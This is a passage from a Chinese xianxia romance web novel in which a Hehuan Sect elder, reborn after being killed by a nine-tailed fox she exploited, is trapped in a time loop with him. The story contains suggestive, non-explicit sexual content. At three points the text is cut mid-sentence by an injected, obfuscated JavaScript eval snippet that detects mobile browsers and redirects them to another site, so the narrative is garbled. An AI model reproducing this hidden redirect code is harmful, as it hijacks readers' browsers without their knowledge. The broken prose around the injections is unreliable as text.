《日日抛弃那个炉鼎》 1. 第 1 章 浓密的山林中数道身影遍布,灵力编织的缚灵网铺开,笼罩山头。 “快些搜查,把这里的妖兽都抓回去!你们要是能抓到修为高的妖兽,长老重重有赏!” 听到此话,合欢宗弟子们面露喜色,搜查得更积极。 “你说我要是踩了狗屎运,抓到一只大妖——不,抓到一只九尾狐献上去,定然能得到很多丹药秘籍!” “你当这九尾狐这么好抓的?那是妖界最厉害的妖兽,能抓到一只三尾就不错了,还九尾——” “抓到了抓到了!我抓到九尾狐了!” 方才还在说不可能的弟子目瞪口呆,一转身就见身后不远处的草丛中,缚灵网困住了一只浑身雪白的狐狸,前肢与背脊连接处殷红一片,看起来是受了伤。 弟子定眼一看,根根绒白的狐尾盘缩在缚灵网内,他在心里数着。 一根,两根,三根……他瞪大了眼,真的是九根! “九、九尾狐?!” 合欢宗弟子们欣喜若狂,居然真的是九尾狐!还是受了伤的,那岂不是随便他们抓? 发现狐狸的弟子伸手就要去抓,那只身上带血的九尾狐不见了,只剩下一名肩头殷红的少年。 少年跪倒在草丛中,缚灵网罩在他身上,雷纹闪烁,他疼得身子一颤,仰起脸,白净的脸上露出不安。 “你们,是谁?” 少年的面庞映入弟子们视线的瞬间,他们全都怔愣住。 只是这么望了一眼,脑海里全都是少年妖冶的容颜,透亮澄澈的琥珀眸子,淡粉唇色,与他绒毛几乎一样白皙的肌肤。 连带着肩头的血,都像是点缀在他身上的一朵艳丽的花。 他的眼睛似乎有某种魅惑人心的魔力,离他最近的弟子情不自禁地回答他的问题:“我是合欢宗弟子……” 甚至其余弟子都跟着附和。 少年没有接他们的话,伸手去碰身上的网,还没碰到,就有弟子上前把网收了。 收网的弟子移开与少年对视的眼,一个激灵想起此行的目的,再一看少年那懵懂的模样,宛如初入世间,不谙世事,很好骗。 弟子吞了吞唾沫,谎话张口就来:“我看你受了伤,跟我们回合欢宗,我们帮你治伤。” 少年点了头,说好。 那弟子没想到这只九尾狐这么好骗,高兴地推搡着少年站起来,往飞舟那走。 少年顺从他们的指令迈脚,耳尖微动,不远处弟子议论的声音传入他耳中。 “陆长老不是要冲击瓶颈吗,我们把这只九尾狐献给陆长老,她肯定会赏很多东西。陆长老可比其他长老大方多了!” 捕捉到“陆长老”的字眼,少年眸光一亮,耳尖竖起,聚精会神地听他们说话。 “可他若是个不干净的……”弟子们脚步一顿,齐齐回头朝少年看过去。 “哦对了,我问你,你……” 弟子上下扫视少年,他浅色衣衫上只有肩头沾血,衣衫因为他站起身而垂下,锁骨线条在衣领处若隐若现,若非他喉间男性特征尤为明显,根本分不清他的性别。 弟子发散的思绪被身后催促的声音打断,一回神见他被这么打量还一脸单纯地望着自己,弟子不由得吞了口唾沫,艰难问:“你,干净吗?” 少年似乎不明白他话里的意思,仍旧用疑惑的眼神望他。 另一名弟子见状,直接说:“你有没有破了身?和别人欢好过?” 少年明白过来,那他应该是不干净了。 按前世的自己所说,他早就与他们口中的陆长老欢好过,还不止一次。 狐狸眼眨了眨,弯起来,少年开口说的话却是:“没有呢。” 弟子们欣喜若狂,这一趟出乎意料地抓到只九尾狐,还是个没破身的,他们仿佛已经看到奖赏在向自己招手。 “太好了!快把他带回宗门!” 少年浓密的眼睫垂下,瞥过肩头的伤,眼底闪过讥笑。 唔,这群人真好骗。 他歪头朝合欢宗的方向望去,耳尖动了动,舌尖抵住口中尖锐的牙。 真期待见到前世的自己说的那位,将“他”所有力量榨干,还抛弃了“他”的陆长老。 飞舟升空,这次外猎的领队迫不及待向宗门传音,禀告此次的收获。 悬赏阁的执事一听,高兴得不得了,九尾狐可不多见。九尾狐天生就具有纯粹的力量,用来采补提升修为,比任何灵丹妙药都管用。 在被其他长老要去前,他得先扣下来献给陆长老,这可是大功一件。 执事放下传音令,正想去摘星阁通报,转念一想不如先不说,待陆长老发现他送来的是只九尾狐,定然十分欢喜。 “等外猎的飞舟回来,直接把这只九尾狐洗干净送到摘星阁。”执事吩咐完,已经开始幻想自己能获得多少奖赏。 合欢宗最高处,摘星阁。 此地云雾缥缈,仙气萦绕,身处在此地,近可俯瞰整个合欢宗,远可窥见赤阴府一角。 殿内兰香袅袅,窗台半开,微风拂过,宽大的四方床上纱幔随风摇曳,女子的身影若隐若现。 乌发倾散,眉心一点赤红被发丝遮挡,两片柳叶眉弯入发间,纤长的睫羽颤动,呼吸急促,似乎在做不安的梦。 咔哒一声,寝殿内靠近床侧的窗户突然关上,发出响声的同时,女子眼帘睁开。 纱幔上根根红绸摇曳,四个角挂着的银铃微微一晃,清脆的铃音将她的神拉回来。 陆尽遥抬眼望着四周,周围再度安静下来,只余下她急促的呼吸声。 她缓缓直起身,倚靠在床栏上,薄褥从她胸口滑落,乌发垂下,代替衣衫拢住她身躯。 指尖拧着眉心,呼出一口浊气。 昨日她重生回抓住那只九尾狐当炉鼎前,到现在还未从那只狐狸留下的阴影中挣脱,总是梦见前世被他捅入心口的画面。 陆尽遥捂住胸口,感觉那块还在疼。 前世她心脉受损,急需吸取力量进阶到元婴来修补心脉,等了一个多月才抓到一只九尾狐,与他一双修,效果立竿见影。 从此她只有这一个炉鼎,采补他三年,吸取完他所有力量,修复心脉的效果还算不错。 谁知她竟然栽在这只九尾狐手上。 陆尽遥乃合欢宗长老,修的是合欢道,这类没有利用价值的妖兽,自然是要丢弃掉的。 她把这只灵力耗尽的狐狸扔进魔渊,这里头全是食人的凶悍之魔,他在里头待了半年,居然没死,从里面爬出来,修为大涨,杀了她。 陆尽遥搞不懂他是怎么爬出来的,但这一次不想再与他有任何接触。甚至都没有像前世那样,在这个时间段去妖界抓九尾狐,连只妖兽都没碰。 尽管她现在急需修复心脉。 从前世的回忆中抽离出来,陆尽遥调动灵力涌入心口,心脉被阻塞无法通行,甚至还隐隐抽痛,她蹙了眉,收回灵力。 还是不行,再这样下去,待心脉完全堵塞枯死,她就会成为废人。 都怪那只死狐狸精,重生后她不仅心脉受阻,还无法吸收灵力,前世这会子根本没这回事。 她恨恨砸了一下床。 殿外传来声音:“长老还在歇息,执事若是有什么急事,可告知于我,待长老醒来,我代为转告。” 陆尽遥正巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092852|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备出宗找找别的炉鼎,下了床,朝殿门走去,衣衫落在她肩头,自己穿好。 殿外,从悬赏阁急急过来的费擎向守门弟子道:“我在此等候长老醒来便是。” 这等能讨到奖赏的事,怎么可假借他人之口转告? 外猎的弟子早就回来了,这次外猎抓到的妖兽得先让宗主及各位长老先行挑选,在这候着也不知陆长老什么时候会醒。 他怕别的长老过来要走那只九尾狐,就忍不住来摘星阁禀告。 刚这么想,殿门开了,女子的容颜映入眼帘。 发髻倾散,只穿了一件宽大襦裙,发丝被撩到脑后,眉心一点妖冶的红尤为显眼。 她的五官颇为大气,又不失妖艳。刚抬起头时,神情透着几分漫不经心。 “有事?” 悬赏阁执事费擎恭恭敬敬向她行礼,低着头不敢直视她,“这次外猎队伍抓到了好几只妖兽,都已经洗干净了,您看您是现在挑选,还是再等等?” 他的语气难掩激动:“这次我们抓到只特别厉害的妖兽,长老您看了,定然喜欢。” 陆尽遥现在听到“妖兽”二字就应激,一个激灵想起来今日正是前世她去妖界抓那只九尾狐的日子,背后一凉,冷了脸。 “不要。” 她越过费擎就走。 费擎诧异,不明白陆尽遥怎么看起来颇为生气,他正要说这次抓到的是九尾狐,已经不见她人影。 “陆长老要是知道是只九尾狐,肯定不会拒绝。”费擎两眼一转,笑了出来。 他直接做主,让人把抓来的九尾狐送过来,“送到偏殿,稍微打扮打扮,陆长老回来见到这只九尾狐,肯定会喜欢!” 费擎就这么把九尾狐送到摘星阁,压根不知道自己擅作主张会迎来怎样的结果,笑着离开了。 被送进偏殿的少年转头往外望,殿内只有他一人。 “她要什么时候才回来?” 他低头看手腕上的缚灵镯,镯子表面一道裂纹蜿蜒,这是缚灵镯承受不住被束缚之人力量的表现。 少年抬手,五指在发间穿过,神色不耐,“你最好说的都是真的。” 他动了动手,裂痕复原,一丝痕迹也看不出。 陆尽遥出了合欢宗找其他修士采补,以前世和那只死狐狸精双修后心脉修补的程度来看,必须得是化神期及以上的修士才有用。 她是不想再和那只死狐狸精扯上关系,心脉没有修复前,连去报前世的仇都极为危险。 一旦灵力耗尽又无法吸收灵力,心脉堵塞,导致灵脉粉碎,整个人犹如被剁成一块一块的碎片,连残废都不如。 找了一圈没找到合适的,回摘星阁时,天已经黑了。 守门的弟子见她回来,躬身道:“执事已经将那名妖兽送来,就在偏殿内。” 陆尽遥拧眉,她说的还不够清楚吗,这个费擎怎么回事。 她径直往偏殿走,见内殿床上躺着一人,声音不悦:“谁让你躺上去的,下来。” 回应她的是一声脆脆的“好的”,声音有点熟悉,她走过去的脚步一顿,见那人已经起身下床,空荡荡的红纱衣摆下,隐约可见肌肉线条流畅的腿。 他里面没有穿衣裳。 偏殿内烛光明亮,是以陆尽遥能清晰看见那人下床后,面向自己的脸。 少年站直,红纱轻裳随着他的动作滑落,墨发半遮半掩他的肩头,那张带着紧张、却又隐晦地期待的脸,就这么闯入陆尽遥的眼中。 陆尽遥的视线定格在少年身上,身子都绷紧了。 见鬼了。 站在她面前的,就是前世刀了她的那只九尾狐! 2. 第 2 章 没有人能体会到她看见那张脸的惊悚。 看到那张脸的瞬间,陆尽遥就认出他是晏尘微,那张脸的主人她采补了三年,绝对不会认错! 想到前世自己的结局,陆尽遥杀意滔天,直接凝出灵剑朝他心口甩去,即将穿透少年胸膛时,陆尽遥眼前一黑,手中的灵力凝出的剑消失。 陆尽遥只当他使了什么法术阻挡了自己这一击,再次凝出灵剑冲他而去,举剑正要刺入他心口时,他忽然出声问:“你要杀我吗?” 陆尽遥冷呵,不杀你难道要留你到明天吗? 剑芒一闪,陆尽遥眼前忽然一黑,视线恢复时,只看到对着殿门的那堵墙。 她发现自己不知为何站在殿门口,但她刚才分明是站在床边,手中还握着剑才对,现在手心里是空的。 陆尽遥似有所感地向里走了几步,一转头,看到床上躺着个人。 少年怯生生的,缩在那什么都遮不住的轻纱中,指尖揪着床褥,那一根根指骨曲起的弧度似钩子,勾得人忍不住多看几眼。 本该被她杀死的少年,正好端端地躺在床上,被她怒目而视,那双看着她的狐狸眼里满是无辜。 好像在问她为什么要用这种眼神望他,明明他什么都没有做呀。 陆尽遥:“……” 见鬼了见鬼了见鬼了! 她再次冲到少年面前,连他说话的机会都不给,直接一剑刺过去。 然而她两眼一黑,又看到那堵墙,人再次回到殿门。 陆尽遥低头看自己空荡荡掌心,身体僵住。她再一偏头往床那看,熟悉的一抹红闯入眼中。 可能是她重生后,神魂不稳,导致出现幻觉了。 陆尽遥咬牙,再次凝出剑,凛冽的罡风横扫,纱幔落地,剩下半截切口整齐,颤巍巍飘荡。 她的身影来到少年面前,手中的剑直指他,冷声质问:“你怎么进来的?” 少年肩头一颤,似乎被吓到。 然那双狡黠的狐狸眼里没有丝毫惧意,迎着她剑上杀气,张开唇,声音清脆:“他们送我进来的。” 说着,他又补充道:“那个很丑的老头。”少年语气里夹杂着些许不满,陆尽遥一门心思都在想他是如何进来的,没注意到。 很丑的老头,那就是悬赏阁的执事费擎,他的确负责将抓来的妖兽清洗干净送去各殿。 陆尽遥没想到这都能出岔子,连她的话都不听了,费擎,你胆子真够大的。 她死死盯着他,有种想要现在就去刀了他的冲动,但很快发现不对。 当初这只死狐狸精是她亲自去妖界抓来的,重生后她没像前世那样去妖界抓这只九尾狐,就算是同一天,外猎的弟子只是在妖界边缘地区捕捉,应该抓不到他。 况且晏尘微没那么弱,外猎的弟子修为最高金丹,不可能抓到他。 他究竟是怎么被抓到的? 陆尽遥现在没有弄清楚的兴致,她只想离这只杀都杀不死的狐狸远远的。 杀不了是吧,那就把他赶走。 陆尽遥扬手,罡风刮过少年脸侧,割断一缕发丝,剑身刺入墙壁,方才只差那么一点,就会削平少年的脑袋。 她朝殿门一指,让他走,“滚滚滚,有多远滚多远。” 少年半垂着眼,眼睫颤动,咬了唇,轻纱下的腿稍稍一动,像是散去所有力气一般,骤然停下。 “听不见我说的话?” 少年仰起脸,眼尾垂下,声音混入几分慌乱,“你吓到我了,我腿软,走不动。” 陆尽遥:“……” 就她刚才那一剑,连他毛都没碰到,能吓到他? 能吓到这个从魔渊里爬出来把她刀了的狐狸?前世怎么没见他这么胆小? 她直接动手。 他不慌不忙地露出惊慌的神情,“你,你要干什么?” 陆尽遥呵呵一声,干什么,那当然是把你扔了! 她搂着少年往上一提,居然没提得动,死狐狸精怎么这么沉! 少年的身体随着她的动作撞到她胸口,他眨了眨眼,身子一僵,陆尽遥忽然就能抱起来了。 她直接把人抱着往殿门走,门开启,殿外夜色正浓,灯光明亮,她几步冲到门口,把怀里的狐狸往外一扔。 动作飞快地捏了个诀,少年身体还没落地,就被她送走。 陆尽遥拍了拍手,朝夜空眨眼,“拜拜了您嘞。” 她转身,关上殿门,往里走。 不对,今晚采补被死狐狸精破坏,她该回寝殿休息才是,干嘛还要在偏殿待着。 她正准备转身,眼前视线却被一抹红占据。 身披轻纱的少年躺在床上,颤着肩头,睁着勾人的狐狸眼望着她。 陆尽遥闭上眼,再猛地睁开,这下看得更清楚了。 少年肩头轻纱被压着,躺下来时肩头红纱正巧被拉下,这回露的更多,半边胸膛都无从遮挡,再往下一点点,就能瞧见那颗粉里透红的凸起。 更别说那盖不住底下风光的衣摆,那就是个摆设,一扯就烂。 陆尽遥真觉得见鬼了,不明白自己刚扔出去的人,怎么会在床上出现。 “你怎么进来的?” 话刚出口,她莫名其妙就觉得这话好像说过,不过含义不一样,“你,是怎么从被我扔出去后,突然出现在床上的?” 少年眨了眨眼,说:“是一个很很丑的老头送我来的。” 陆尽遥呆了一瞬,还没理清思绪,就听少年问自己:“你要采补我吗?” 她瞬间来到他面前,杀意铺天盖地朝他压下,剑从手出,直指他脖颈:“你究竟是怎么进来的?” 面对她的质问,少年面上看不出一丝撒谎的痕迹,“老头送我来的。” 又是这句话,但不是她想要的答案。 她方才用的法术足以将他送出合欢宗,且自她将这只死狐狸精扔出去后,到转身回偏殿再看见他,并未感受到一丝闯进来的气息。 他就这么突然地出现在她眼前,绝对有问题。 陆尽遥眯眼打量他,少年乖乖地任由她看,刚要再问一遍方才说的话,身子一轻,人直接被陆尽遥用法术托起,往门外扔。 门咔哒开了,红影一闪而过,少年被扔出去的瞬间,殿门立刻合上,那动静大得墙壁都震动起来。 “我管你从哪来的,再跑回来——” 她的话戛然而止,因为她再一次看到那面墙,往左一瞥,那一抹红赫然闯进她的眼中。 再一看,又站在殿门口,她忽然想起,这正是她从外面回来刚走进偏殿的时候。 陆尽遥猛地闭上眼,默念清心咒,这是第几次了? 女子定格在殿门的身影落入少年眼中,他眼底闪过期待。 “你说,她还会让我走吗?” 一道与他声线相同的声音响起,却要低沉许多,比起少年充满活力的嗓音,这声音更具磁性:“会。” 这道声音除了少年自己,没有其他人能听见。 少年不悦,不想理“他”,看到女子朝自己走来,他仰起脸,清脆的声音出口:“你要采补我吗?” 陆尽遥这次什么都没有说,直接在他身上掐诀把人送走。 少年身影消失的瞬间,她眼前一黑,再次回到殿门前。 一看到殿门正对着那堵墙,心中升起一股无名怒火,几步冲到少年面前,扯着他的衣领把人拎起来,“你耍我是吧——” 刺啦一声,那不堪重负的轻纱被扯破,少年身前的衣裳裂成两半,没有受力的那一侧身子倾斜,轻纱滑落,他的一半身体就这么裸露在陆尽遥眼前。 他似乎有些紧张,身子绷紧,腹部肌肉一块一块的分外明显。 陆尽遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092853|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷了脸,视线从他腹部肌肉往上扫,眼神带了刀子,落到他略显慌乱的脸上,还没开口,就被他先一步指责。 “你撕我衣服干什么?” 陆尽遥:“?” 她被气笑了。 “你躺我床上干什么?” “是他们让我躺在床上的。” 陆尽遥无法反驳,不论说什么做什么,都会绕回原点。 她直接松开手,少年跌到床上,还颠了一颠,陆尽遥好巧不巧看见他胸脯那粉红颤动。 她是真的觉得这只狐狸在故意勾引她,从他躺在床上的姿势,再到刚才那一颤,这要是以前的她,早就动手了。 陆尽遥面无表情朝他勾手,“你,起来,滚出去。” 少年哦了一声,撑着床直起身,被扯开的衣裳没有拢好,从他肩头滑落,这下上半身几乎□□。 陆尽遥拧眉,眼底没有采补他的念头,只有想尽快摆脱的烦躁。 杀不成,扔不走,让他自己滚总可以了吧! 少年磨磨蹭蹭站起来,陆尽遥嫌他太慢,扯了一下他胳膊,谁知道他跟碰瓷一样摔地上不起来了。 “我扭到脚,站不起来。” 陆尽遥深吸一口气,没见过这么麻烦的狐狸精,他前世也不这样啊。 她用法术隔空扶他起来,配合他走路的速度,眼看着离殿门越来越近,她的心都提到嗓子眼。 滚滚滚,快滚! 少年离门槛只有一步之遥,他走到门那,抬起右脚。 陆尽遥屏住呼吸——快跨出去,快走—— 抬起的脚收了回去,少年回头望她,“你真的不采补我吗?” 陆尽遥忍不住一掌将他送走,少年的身影不见,她还没来得及舒口气,眼前场景变化,她又看到殿门正对着的那面墙。 “……” 她要疯了! 陆尽遥掉头就往外走。扔不了杀不掉他自己还不走,她走,她走行了吧! 然而刚掉头往外走了一步,眼前忽然袭来一阵轻微的眩晕感,随后她就看到自己的脚踩在偏殿的地板上。 陆尽遥身子僵硬片刻,迈脚跨出门槛,刚站到殿外没多久,又一阵眩晕感袭来,人回到原本的位置。 她抚着额头缓了会,朝里头望,少年身上衣衫完完整整,就连之前被她切断的纱幔都完好如初,见她望过来,弯起眼眸朝她笑。 陆尽遥觉得他在嘲笑自己。 她扭头不看他,再次尝试往外走,不出意外又回到原地。 她不信邪,往外跑。 躺在床上的少年支起下巴,好整以暇地看着她不断往外跑,回想起见到女子的那一眼,垂下的狐狸眼缓缓迸发出兴奋的光。 她和他想象中的,不太一样。 从“他”的描述来看,他以为她会是那种很凶,上来就要把他抢走去采补的邪恶女修。 但她意外地年轻,还很好看。 尤其是她眉心的朱砂,好想摁上去,看看会不会沾上一手的红。 晏青山专注地看着女子,如琥珀般闪耀的眼瞳中浮现困惑,“她为何坚持不碰我?” “你得问她。” 晏青山眨了眼,深到发紫的粉色瞳孔一颤,陆尽遥再次回到原本的位置,殿内灵力剧烈波动,她的身影消失。 不过片刻,她又从殿门后出现。 他再次支起下巴,瞧着快要发脾气的女子,刚勾起唇,女子眉心的朱砂痣在他眼前闪现,听到她气急败坏的声音,晏青山眼底笑意加深。 “说吧,你在搞什么鬼!” 晏青山眼睫一颤,身子抖动,似乎被她这气势汹汹的样吓到,往床里头缩,无辜又疑惑地回答她:“我一直都躺在床上,什么都没有做。” 陆尽遥看他许久,从牙缝里挤出两个字:“呵呵。” 你看我信吗! 3. 第 3 章 陆尽遥什么办法都试过了,扔他,刀他,哪都不碰他让他自己走,她自己走,都不行。 刚扔出去就回到原点,剑还没碰到他又重来,她用法术缩地成寸往外跑,一眨眼的功夫又回来。 陆尽遥尝试叫费擎过来,但没有任何反应。传音术被隔绝,传音令牌被阻断,来来回回试了那么多次,次次都回到原点。 她累了。 陆尽遥拧眉瞅着少年,再次见到他这副身体完好充满生机活力的模样,她不得不感叹一句,当初自己从那三只九尾狐中唯独挑中这一只,果然还是被他这张脸迷惑了。 被她囚禁作为炉鼎的这三年,她好吃好喝地养着他,看起来只是比之前瘦了些,倒是有一番别样的韵味。 现在么,她看这只狐狸一眼,就想回到前世,在把他扔进魔渊前就杀了。 心软的后果就是被他杀死。 少年朝她露出笑,陆尽遥扯了扯嘴角,回以冷笑。 她搬了个椅子坐在偏殿中央,对准殿门,正对那张躺着少年的床。 眼一瞥瞧见那几乎没什么变化的烛灯,再一看高悬的月亮,折腾这么久,时间都没有流逝。 陆尽遥推测出两个可能,要么是这只死狐狸精用了幻术欺骗了她的眼睛,要么是她陷入了某种循环中。 从他的反应来看,后者的可能性更大。 一直在她进入偏殿的节点打转,每次到他面前,他都要问一句:“你要采补我吗?” 前世刚抓到他时,他也是这么问的,当时她怎么回答的来着? 好像什么都没说,直接把人衣裳扒了就运功。 陆尽遥一个激灵,冒出一个猜想。 该不会是因为她重生后,没有做出和前世一模一样的事,所以被一股无形的力量逼迫走原本的剧情? 陆尽遥狐疑看他。 少年睁着被烛火映照得亮晶晶的眼,还不等他说出那句话,她立刻收回目光,多看一眼都觉得烦。 她是更不可能走上前世的路。 但不做前世那些事,她就要一直被困在这里,连时间都没有流逝,她还怎么修复心脉,怎么突破元婴! 陆尽遥烦躁地甩了一下手,溢出的灵力晃得殿内烛灯一熄一亮。 闪烁的烛光中,晏青山往下扯红纱,确定露出自己的肩头,再一瞥身上衣裳,稍微松开些,刚做完这些,不满地皱起眉。 前世的“自己”不是说她一见到他,就动手了吗?他都这样了,她为什么还是不碰他? 狐狸眼微眯,他盯着女子的侧颜看了许久,仍是疑惑:“九尾狐身上天生蕴藏对他们人族修炼有利的力量,她应该会扑上来才对。” 以前他看合欢宗弟子抓妖兽时,合欢宗的修士见到他这类血脉强悍的妖兽,一个比一个扑得狠,她怎么一点动静都没有。 她不是要用他的力量提升修为吗?怎么现在总是要他滚。 “你在骗我。” 脑海中的声音平淡:“你若是想看我与她双修的画面,就把身体给我。” 晏青山不。 “这是我的身体,我还没有彻底相信你。” 那道声音又起:“若非我出了些情况,早在一月前,你的意识就被我吞噬,你不会再存在于这世上。” 晏青山面无所动,“可你现在什么都做不了,只能靠我查清你为何回到现在,又为何会陷入循环。” 那双看得陆尽遥冒火的狐狸眼尾上挑,语气挑衅,“且这回溯时间的能力,不止你能用。” 那声音沉寂片刻,开口道:“所以你得查清楚她为何不碰你,毕竟她对我,可不会避如蛇蝎。” 晏青山磨了磨牙,他现在是有点相信晏尘微说他就是前世的自己,这种让人很是不爽的话,自己确实经常会这么说。 时间回溯的能力虽好,但也有限制,不做关键事件,就要一直在某个时间节点循环。 一个月前,他身体里突然多了一缕神魂,自称是前世的他。为了区分,晏青山用自己的字称呼他。 晏尘微出现后,要他必须接近陆尽遥,他没听。 前世晏尘微与陆尽遥相遇的那天到来,他没接近陆尽遥,那一天一直在循环,直至他潜伏在合欢宗弟子外猎地点,假装被他们抓到才结束循环。 所以这一次,可能得他与陆尽遥双修,才可以结束。 “但她不愿。” 这只狐狸委屈地哼了一声,区别对待,真过分。 晏青山声音幽幽:“这是我第一次见她,但她看我的眼里充满杀意,又不肯碰我,不会和你一样,记得什么吧?” 晏尘微想起自己从魔渊里爬出来去寻她,陆尽遥死在他手里,却又不是他杀的。 她心口空荡荡,没有心,那里一片虚无,漆黑空洞,像是死寂多年,没有一丝生机的世界。 再之后,他被这处虚无吸尽所有力量与生机,失去所有意识。 醒来发现自己被困在三年前的身体里,这时他还没有被陆尽遥抓去当炉鼎。 要想弄清一切,只能接近她。而不重复前世与她做的事,就会一直重复当前节点。 所以现在,他必须要和陆尽遥双修。唯有在双修时神魂才会交融,借机探查她的神魂,找出她吞噬他的那股力量从何而来。 “继续做。” 狐狸天生就知道怎么魅惑人,床上的少年手伸进衣衫里,咬着唇,逐渐发出令人面红耳赤的声音。 陆尽遥一开始以为自己听错了,这大夏天的谁会发春啊…… 等她发现这声音就是从旁边传来,扭头一看,清晰瞧见少年不知何时爬上红晕的脸颊,下唇被他自己咬得红了一片。 包裹他身体的轻纱晃动,掩盖他在床上扭动的身体。 陆尽遥看了一眼,他肩头红纱滑到胸口。再看一眼,红纱被他小臂撑起,衣衫拉开一条缝,少年曲起的手指充斥她的视线。 她赶紧闭上眼,不敢想自己刚才看到什么。 春天已经过去,九尾狐的发情期还在?闹呢! “你在干什么?” 少年仰起头,按照晏尘微说的,原封不动地说出来:“老头好像给我下了什么咒,我现在好难受。” 这事真实发生过,前世陆尽遥抓他回合欢宗后,费擎怕他跑,不仅给他戴了缚灵镯,更逼他吞了合欢散。 事实上陆尽遥抓住他时,他已经没有反抗的力量,费擎这么做,除了让他更难受,没有好处。 其实也算有一点好处,他反抗不了,第一次与陆尽遥双修时,过程还算愉快。 但这次费擎没有,全是晏青山一张嘴瞎说。 陆尽遥现在问不了费擎,也不想再与这只死狐狸精有瓜葛,封住听觉装作没听见。 然而那声音跟在她脑中响起似的,怎么都隔绝不了。 脑子里全都是他喘息的声音,一开始还压抑,后来越来越放纵,听得她真想把这只狐狸精嘴封起来。 前世也没见他这么会喘。 她往外头看,弯月往下沉,时间流逝,在她坐着等待的这段时间,一切正常。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092854|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然没有碰死狐狸精,但他的反应与前世差不多,也就是说…… 陆尽遥觉得自己找到了破局的方法。 她不碰他,不杀他不扔他,自己也不跑,就这么熬,等今夜过去,明早再看看情况。 她记得前世自己好像与他双修了大半夜,第二日一早就去闭关突破瓶颈,所以熬到天亮应该没事了。 陆尽遥回头瞪了一眼还在抖来抖去的少年,明天一早就把你扔了! 她干脆在椅子上冥想,结果显而易见,一直默念清心咒也无法隔绝他的声音。 陆尽遥握紧双拳,她忍! 晏青山喘了好一会,也不见她来,不想再喘,用法术维持喘息声。 他侧头看着闭目冥想的女子,刚清洗过的发丝柔顺地包裹着她的身躯,侧脸在烛光中分外立体,这个时候只有他一个人能看到沐浴过后的她。 本来按他的计划今晚成功勾引她双修,但现在—— “她是故意躲避我。不与她双修,今晚能过去?” “试试便知。” 晏青山调大喘息的声音,见陆尽遥还闭着眼一动不动,穿好故意扯下的衣裳,拉起薄褥盖住肚子,闭眼睡觉。 陆尽遥从未听过这么久的喘息声,每次忍不住想骂的时候,一想到自己前世死在他手里,咬牙忍了又忍。 死狐狸精,你给我等着。 …… 日光洒进殿内时,陆尽遥睁开眼,没再听到少年的喘息声,看也没看他一眼,走向殿门。 床上少年悄无声息地睁眼看着她开了殿门,试探性抬脚走出去。 她成功走出去了。 陆尽遥狠狠松了口气,第一件事就是喊人,“把费擎叫过来,我有话要问他。” 费擎一来,凑上前谄笑道:“这次外猎的最大收获是只九尾狐,是不是很满足长老您的要求?昨晚您可还尽兴?” 陆尽遥哼笑,“确实满足我的要求。” 这已经不是满足她的要求,这是能提前送她去投胎了! “昨日我走之前,说了什么话?” 费擎笑容瞬间凝固,想到陆尽遥走之前说的是不要,心里一个咯噔。 坏了,他办错事了。 “是属下自作主张,以为长老您会喜欢……” 陆尽遥踹了他一脚,“再有下次,你的职位,可以让给别人。” 费擎连忙保证不会再有下次。 偏殿里的少年耳尖微动,听着他们的话。 晏青山再一次觉得陆尽遥的反应很反常,刚要再次回到昨晚,听到她接下来的话,打消了这个念头。 “你们是怎么抓到那只九尾狐的?” 费擎赶紧回答:“外猎的弟子用缚灵网抓住的这只狐妖,抓住他时,他已经受了伤。据抓这只狐妖的弟子所说,他好骗得很,所以我们才得手。” 受了伤?九尾狐能受伤? “扔出去,我不想在合欢宗再见到他。”陆尽遥说完,径直去了主殿。 殿门关上,费擎摸不清陆尽遥心思,这好不容易抓到一只九尾狐,为何要扔? 但他不敢违抗,只得按照命令去做。 他走进偏殿,看到床上已经坐起来的少年,正要把人带走,眼神忽然涣散。 晏青山冷着一张脸,说:“你已经将我送出去。” 他的声音似乎有某种魔力,在费擎的脑海中刻下这句话,以费擎的修为抵挡不住晏青山的魅惑术,他点了头,转身往外走。 晏青山的身影瞬间消失。 4. 第 4 章 合欢宗之外,耸立在湖泊之中四相星宫内,青龙星宫中,巨大的星盘缓缓转动,无数星子荧荧闪烁,跟随着星盘的轨迹转动。 却有一颗银白的星子脱离原本的轨迹,朝着反方向移动。这颗星子旁,紧紧黏着一颗黑色星子,与周围闪亮的银白色星子格格不入,看着似乎是这颗黑色星子带着那颗银白的星子往反方向移动。 星盘前立着一人,男人面容清隽,一身宽大银袍,衣衫上纹样正是星盘上繁星轨迹,在这空旷而静谧的殿内,只有他一人身影。 他睁开双眼,仰望星盘,目光锁定这两颗星子,审视许久后,蹙起眉。 那颗银白的星子比起三日前,更暗,轨迹偏离得更明显。 男人将灵力注入其中,抬手结印,星子从他指尖绕过,在星盘周围结印,凝聚其余星子的力量,试图将那颗脱轨的星子拉回去。 